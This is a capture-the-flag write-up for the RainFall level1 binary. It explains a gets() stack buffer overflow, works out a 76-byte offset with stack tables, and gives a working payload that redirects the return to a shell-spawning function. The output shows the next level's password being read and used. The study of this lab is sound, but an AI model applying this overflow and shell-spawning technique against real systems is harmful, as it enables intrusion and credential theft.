
# ./level1



Decompiled file with Ghidra:

```
void run(void)
{
    fwrite("Good... Wait what?\n", 1, 0x13, stdout);
    system("/bin/sh");
    return;
}

void main(void)
{
    char buffer[68];
    gets(buffer);
    return;
}
```

We have a simple program with a main function that uses the gets function.

The gets function is considered unsafe and has been *deprecated* because it is vulnerable to **buffer over-flow attacks**. This happens because gets doesn't check the length of the input, and if it exceeds the buffer size, it can **overwrite** other parts of memory.

In this program, **gets** takes standard input and puts it into a buffer of size 68.

There's also a **run(void)** function that isn't called by the **main**.

We want to invoke this function because it contains a call to system("/bin/sh").

To achieve this, we plan to overflow the buffer to overwrite the **return address** of our main function. There are two ways to determine the required overflow size:

## Pattern Generation:

Feed the program a unique character pattern sequence. If the sequence causes a *segfault* due to the overflow, the overwritten *return* address can be examined to reveal the exact offset.

### Manual Offset Estimation:

Here, we dive into the program's memory structure. Due to memory alignment and optimizations, compilers introduce *stack paddings*, complicating the process. With the help of a **debugger**, we discern the distance between the buffer's end and the return address. It offers deeper insight but demands more effort.

## ./level1<sup>2</sup>

For this level, we went with the manual offset estimation just to get a feel for how the **stack** works. It was a bit more hands-on, but it helped us see how the program's memory is laid out, and it also guided us in creating this stack visualization below:)

#### Stack before buffer overflow:

| Offset     | Value       |
|------------|-------------|
| 0xffffdcf0 | ff ff dd 00 |
| 0xffffdcf4 | f7 ef 66 7c |
| 0xffffdcf8 | f7 f2 95 e8 |
| 0xffffdcfc | ff eb af e6 |
| 0xffffdd00 | 00 00 00 00 |
| 0xffffdd04 | 00 00 00 00 |
|            |             |
| 0xffffdd3c | 01 00 00 00 |
| 0xffffdd40 | 00 00 00 00 |
| 0xffffdd44 | 00 00 00 00 |
| 0xffffdd48 | 00 00 00 00 |
| 0xffffdd4c | c5 37 c2 f7 |

ESP

stack padding
EBP
return address

buffer

### Stack after buffer overflow:

| 0ffset     | Value       |
|------------|-------------|
| 0xffffdcf0 | ff ff dd 00 |
| 0xffffdcf4 | f7 ef 66 7c |
| 0xffffdcf8 | f7 f2 95 e8 |
| 0xffffdcfc | ff eb af e6 |
| 0xffffdd00 | 41 41 41 41 |
| 0xffffdd04 | 41 41 41 41 |
|            |             |
| 0xffffdd3c | 41 41 41 41 |
| 0xffffdd40 | 41 41 41 41 |
| 0xffffdd44 | 41 41 41 41 |
| 0xffffdd48 | 41 41 41 41 |
| 0xffffdd4c | 08 04 84 44 |

Taking a look at our stack visualization, we see that the buffer initiates at 0xffffdd00 and the location where the return address resides is 0xffffdd4c. The distance between them is 76 bytes.

So, when we're feeding data into the **buffer**, the initial 76 characters will fill up the **buffer** space, **padding** and the EBP.

Characters 77 through 80 will overwrite the return address.

To carry out our exploit, we'll input 76 characters followed by the little endian representation of the run(void) function's address, 0x08048444.

```
level1@RainFall:~$ {
    python -c 'print("A"*76 + "\x44\x84\x04\x08")';
    cat << "cd ../level2 && cat .pass";
} | ./level1

Good... Wait what?
53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77
Segmentation fault (core dumped)

level1@RainFall:~$ su level2
Password: 53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77

level2@RainFall:~$</pre>
```